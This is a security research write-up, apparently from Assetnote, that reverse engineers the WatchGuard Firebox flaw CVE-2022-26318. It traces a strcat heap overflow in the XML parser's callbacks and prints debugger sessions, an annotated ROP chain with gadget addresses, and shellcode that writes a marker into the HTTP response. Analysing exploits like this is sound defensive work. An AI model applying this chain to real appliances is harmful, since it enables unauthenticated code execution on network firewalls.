The reverse engineering of this CVE was performed by Dylan Pindur.
Greynoise Report and Preliminary Analysis
On March 18 2022 GreyNoise reported seeing activity targeting CVE-2022-26318, an advisory for a nondescript vulnerability in WatchGuard Firebox and XTM appliances. WatchGuard appliances provide various network security functions including firewall, threat detection and VPN services. A cursory search with Censys lists roughly 400,000 internet facing WatchGuard devices. As such, an exploit in one of these devices can have a big impact.
Examining the CVE yielded little useful information. The only note on the issue from WatchGuard was that it “could allow an unauthenticated user to execute arbitrary code”. Things became more interesting on March 28 2022 when a proof-of-concept was released and then removed shortly after. Forunately, a mirror is available here. Looking at the exploit, which is included below, we can make a few guesses before running it. As we will see in the post, some of these are correct and others are not.
The exploit begins with a large malformed XML payload, so the XML parser is a likely candidate for exploitation.
The exploit is compressed using gzip, another location where it’s reasonable for a memory-related vulnerability to appear.
Towards the end of the exploit we see multiple string of bytes in the format <span class="code_single-line">00 00 00 00 00 xx xx xx</span> indicating a possible rop gadget consisting of 64-bit memory addresses where the high bits are all set to zero.
Getting WatchGuard Up and Running
First we needed to start up a vulnerable instance of WatchGuard to verify the exploit. This was easier said than done. By tweaking the URL for the FireboxV 12.8 VM image we were able to download FireboxV-12.7.2. However, after starting the VM and logging in we were presented with a limited shell and no file access. No worries, we can mount the disk image in another VM and overwrite the root password.
[root@fedora ~]# mount /dev/nvme0n2p2 /tmp/firebox
[root@fedora ~]# openssl passwd -6 root
$6$rkm3xalVbXgD/rQ7$Fl.F.rJi/5J.t4DTIS.itt6ypDXtfC7XKAnD1FM6vNMGjl0jiO0X.kW8r2cQPqW3HWneRSipaneXsg4wzZCuS.
[root@fedora ~]# sed -i 's|root:.*:0:0|root:$6$rkm3xalVbXgD/rQ7$Fl.F.rJi/5J.t4DTIS.itt6ypDXtfC7XKAnD1FM6vNMGjl0jiO0X.kW8r2cQPqW3HWneRSipaneXsg4wzZCuS.:0:0|' /tmp/firebox/etc/passwd
After trying to login, we were hit with another hurdle. There was no shell installed at all.
WatchGuard-XTM login: root
Password: root
login: can't execute '/bin/ash': No such file or directory
Using the same trick as before we mounted the disk image and copied <span class="code_single-line">/bin/bash</span> over. In retrospect, this would have been a good time to check what other utilities were missing, because there were a lot of them. After actually logging in, we were greeted with no way to read files and all mounted filesystems locked down to either be non-executable or non-writable.
(root@192.168.1.199) Password:
-bash-5.1# cat /etc/nginx/nginx.conf
-bash: cat: command not found
-bash-5.1# cd /bin
-bash-5.1# echo x > x.txt
-bash: x.txt: Read-only file system
After another round of mount, copy, reboot we had BusyBox installed and remounted the filesystem as read-write. We began our analysis by searching through the Nginx configuration files. We found that the target port of the exploit (4117) is proxied to <span class="code_single-line">/usr/bin/wgagent</span>. Our analysis also showed that port 8080 points to the same wgagent service.
server {
listen 4117 ssl;
listen [::]:4117 ssl;
include fastcgi_params;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param WG_SSL_SERVER_CERT /var/run/nginx/server.pem;
fastcgi_request_buffering off;
if ($request_method !~ ^(GET|HEAD|POST)$) { return 444; }
location /agent/ {
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
# /agent/file_action can take a while, e.g. backup
fastcgi_read_timeout 10m;
}
location /login { # no trailing slash
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
location /logout {
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
location /ping { # no trailing slash
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
location /cluster/ {
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
}
Lastly, we dropped a statically compiled gdbserver onto our target, opened the firewall and attached to the wgagent process. We were finally ready to run the exploit.
From our debugging machine we attached to the target. We used GDB with PEDA to make the process less painful. We bumped our payload by a few bytes to try and get a crash rather than a clean exit. That way we would have somewhere to start searching for the vulnerability itself.
Looking at the stack trace gave us a good starting point in Ghidra to know where to look. If we’re lucky the crash will be near the vulnerability. The segfault also occurs in the XML parsing library which lines up with our guess that the XML parser is the source of the vulnerability.
After looking at the symbols imported from libxml2, we searched for calls to <span class="code_single-line">xmlParseChunk</span> with Ghidra. All the calls we found are in one function starting at <span class="code_single-line">0x0040869d</span>.
So we put a breakpoint at <span class="code_single-line">0x0040869d</span> and reran our exploit to see if we safely return from the function or if it crashes.
gdb-peda$ break *0x0040869d
Breakpoint 1 at 0x40869d
gdb-peda$ continue
Continuing.
[----------------------------------registers-----------------------------------]
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40869a: nop
0x40869b: leave
0x40869c: ret
=> 0x40869d: push rbp
0x40869e: mov rbp,rsp
0x4086a1: sub rsp,0x30f10
0x4086a8: mov QWORD PTR [rbp-0x30f08],rdi
0x4086af: mov QWORD PTR [rbp-0x30f10],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7ffffff0a248 --> 0x40b8f8 (mov QWORD PTR [rbp-0x88],rax)
0004| 0x7ffffff0a24c --> 0x0
0008| 0x7ffffff0a250 --> 0x0
0012| 0x7ffffff0a254 --> 0x0
0016| 0x7ffffff0a258 --> 0x0
0020| 0x7ffffff0a25c --> 0x0
0024| 0x7ffffff0a260 --> 0x8bd
0028| 0x7ffffff0a264 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040869d in ?? ()
gdb-peda$ finish
Run till exit from #0 0x000000000040869d in ?? ()
Program received signal SIGSEGV, Segmentation fault.
We got a segfault, which is good news. Given what we knew about this function and our payload, this was a promising lead. Our next port of call was some code review of the function making all the calls to <span class="code_single-line">xmlParseChunk</span>. The function allocates quite a few large buffers on the stack and on the heap, however after enumerating these, all appeared to performed safely.
The next path we ventured down was the XML parser itself. There are no published vulnerabilities in the version of libxml2 used by WatchGuard. However, when we looked at the instantiation of the xml parser we saw that it was passed several callbacks.
Ghidra mistakenly identified them as separate local variables and not part of the larger structure beginning at <span class="code_single-line">local_158</span>. We inferred this because the call to <span class="code_single-line">bzero</span> on <span class="code_single-line">local_158</span> zeroes out 256 bytes and not the 48 specified in the variable declaration.
Through some trial and error, we discovered that these callbacks correspond to the following XML SAX handler fields.
startDocument
endDocument
startElementNs
endElementNs
characters
We reviewed these callbacks and found that at the end startElementNs (<span class="code_single-line">FUN_004067ef</span>) a call to <span class="code_single-line">strcat</span> is made with the element name (<span class="code_single-line">param_2</span>) used as the source string.
<span class="code_single-line">strcat</span> is a pretty popular target for buffer overflows, so we put a breakpoint before our call to <span class="code_single-line">strcat</span> and ran <span class="code_single-line">display/s $rdi</span> to print the destination argument as a string each time execution was paused.
We stepped through multiple calls to <span class="code_single-line">strcat</span> and found that it was constructing an XPath query to traverse the XML document.
There didn’t seem to be any limit on how many times <span class="code_single-line">strcat</span> was called and after we checked the process mappings it looked like eventually <span class="code_single-line">strcat</span> would start overflowing into heap memory. This can be seen below, the destiantion address <span class="code_single-line">0x427360</span> is in the block immediately preceeding the heap <span class="code_single-line">0x428000</span>.
Although there are multiple ways to exploit heap overflows, there’s a simpler option available to us here. Using PEDA we searched memory for the address of our <span class="code_single-line">startElementNs</span> callback (<span class="code_single-line">0x4067ef</span>) and found that, as part of instantiating the parser context, the address is copied to the heap and is roughly 11,000 bytes away from the start of the XPath query.
gdb-peda$ find 0x4067ef
Searching for '0x4067ef' in: None ranges
Found 2 results, display max 2 items:
[heap] : 0x429e68 --> 0x4067ef (push rbp)
[stack] : 0x7fff5ca92c88 --> 0x4067ef (push rbp)
We inspected the memory before and after and confirmed it was our SAX handler struct as it contained the magic identifier specified by libxml2, <span class="code_single-line">#define XML_SAX2_MAGIC 0xDEEDBEAF</span>.
We put a watch on the heap address of the callback, waiting for it to be overwritten and when it was we saw something familiar.
gdb-peda$ watch *(int *) 0x429e68
Hardware watchpoint 3: *(int *) 0x429e68
gdb-peda$ continue 2000
Will ignore next 1999 crossings of breakpoint 2. Continuing.
Hardware watchpoint 3: *(int *) 0x429e68
Old value = 0x4067ef
New value = 0x41464d
0x00007fbe99c3ccb6 in ?? () from target:/lib64/libc.so.6
<span class="code_single-line">0x41464d</span> is MFA, the three characters repeated in the XML payload. We had found the start of our ROP gadget chain. Next time libxml2 tries to call <span class="code_single-line">startElementNs</span> it will instead jump to <span class="code_single-line">0x41464d</span>.
ROP Chains
The goal of this ROP chain was to pivot execution to the shellcode located on the stack. Fortunately, the stack was already marked as executable so no additional steps need to be taken. An annotated trace of the chain is as follows:
Pop 37054 bytes from the stack and return but with a now much shorter stack.
0x41464d: ret 0x90be
Continue execution of libxml2 as normal.
0x7f37bfee24a4: add rsp,0x20
0x7f37bfee24a8: mov ecx,DWORD PTR [rsp+0x3c]
0x7f37bfee24ac: test ecx,ecx
0x7f37bfee24ae: jne 0x7f37bfee26bb
0x7f37bfee24b4: mov rax,QWORD PTR [rsp+0x10]
0x7f37bfee24b9: add rsp,0x88
0x7f37bfee24c0: pop rbx
0x7f37bfee24c1: pop rbp
0x7f37bfee24c2: pop r12
0x7f37bfee24c4: pop r13
0x7f37bfee24c6: pop r14
0x7f37bfee24c8: pop r15
0x7f37bfee24ca: ret
Pop 2 bytes from the stack and hop to the next gadget.
0x40f968: ret 0x2
Hop to the next gadget.
0x405020: ret
Pop ROP gadget at 0x41d611 into rax.
0x41d60e: pop rax
0x41d60f: pop rbx
0x41d610: pop rbp
0x41d611: ret
Save the stack pointer in rbp then call the gadget popped into rax previously.
0x405e7d: mov rbp,rsp
0x405e80: call rax
Bump two values off the stack.
0x41d5b1: pop rsi
0x41d5b2: pop r15
0x41d5b4: ret
Push rbp, which contains our stack pointer onto the stack.
0x405e7c: push rbp
0x405e7d: mov rbp,rsp
0x405e80: call rax
Bump two values off the stack.
0x41d5b1: pop rsi
0x41d5b2: pop r15
0x41d5b4: ret
Load stack address we pushed on earlier into rdx and copy it into rsi.
0x41d2ad: lea rdx,[rbp-0x80]
0x41d2b1: mov rsi,rdx
0x41d2b4: mov rdi,rcx
0x41d2b7: call rax
Bump two values off the stack.
0x41d5b1: pop rsi
0x41d5b2: pop r15
0x41d5b4: ret
Pop 0xc0 into rax to bump what will become our stack pointer by 192 bytes.
0x41d60e: pop rax
0x41d60f: pop rbx
0x41d610: pop rbp
0x41d611: ret
Copy (via adding) rdx, which points to the stack, into rax and then jump to rax.
0x40a92a: add rax,rdx
0x40a92d: jmp rax
Start executing our shellcode.
0x7ffd5782ca68: nop
Hijacking the Response
The goal here had been to determine if this exploit was suitable to put into our platform here at Assetnote. This means the exploit must meet certain criteria. It is preferred if the exploit is relatively non-intrusive, consistent and doesn’t rely on calling back to our infrastructure. Unfortunately, as presented, this exploit didn’t meet this criteria. The exploit writes a file to disk and then throws a reverse shell that we are expected to catch. Bearing all this in mind, some modifications were required. Since we’re already making a HTTP request, what would be great is if we could hijack the response and write out a unique value. Then if we see this unique value, we know the exploit worked.
First, we ran the process with <span class="code_single-line">strace</span> attached and sent through a normal request. The goal here was to capture what information the wgagent process writes sends back to Nginx as a reply.
We saw that the response always follows the same format, some binary and then some HTML written out to file descriptor nine. Cross-referencing this against what we know about the process (that it uses FCGI) we saw that it lined up quite nicely with an FCGI response record struct.
All we needed to do next was write some short shellcode to setup and execute a syscall which wrote out a test value, “PewPewPewPew”. We also added an exit syscall afterwards to ensure the process exited cleanly rather than segfaulting after our shellcode finished.
0: 48 c7 c2 30 00 00 00 mov rdx,0x30 ; arg 3 to write, the string length
7: 48 89 e6 mov rsi,rsp
a: 48 83 c6 38 add rsi,0x38 ; arg 2 to write, stack pointer + offset to our fcgi record
e: 48 c7 c7 09 00 00 00 mov rdi,0x9 ; arg 1 to write, file descriptor we are writing to
15: 48 c7 c0 01 00 00 00 mov rax,0x1 ; write's syscall number
1c: 0f 05 syscall
1e: 48 c7 c0 3c 00 00 00 mov rax,0x3c ; exit's syscall number (60)
25: 48 c7 c7 00 00 00 00 mov rdi,0x0 ; arg 1 to exit
2c: 0f 05 syscall
Putting it all together we produced the following exploit.
So what have we learnt? Locking down a VM by removing utilities and mounting filesystems as read-only, while annoying, doesn’t provide a great deal protection. The original exploit used python to get around this and we were able to remove the protections with a little effort. That being said, it does make maintaining perstence after exploitation considerably harder.
Out of our three initial guesses, two were correct. The XML parser was vulnerable and the exploit did utilise a ROP chain. However, nothing in the exploit appeared to rely on it being compressed. Instead this was probably done to avoid sending a 30kB POST body.
Lastly, as expected, <span class="code_single-line">strcat</span> and friends are probably best avoided. There are safer alternatives out there like <span class="code_single-line">strlcat</span>.
As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for and analysing security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.
Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Little information was provided on how to verify if a deployment was vulnerable and the criticality of the issue was left relatively quiet.
Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.
If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.
Assetnote Is Hiring!
If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.
Written by:
Dylan Pindur
Your subscription could not be saved. Please try again.
Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.
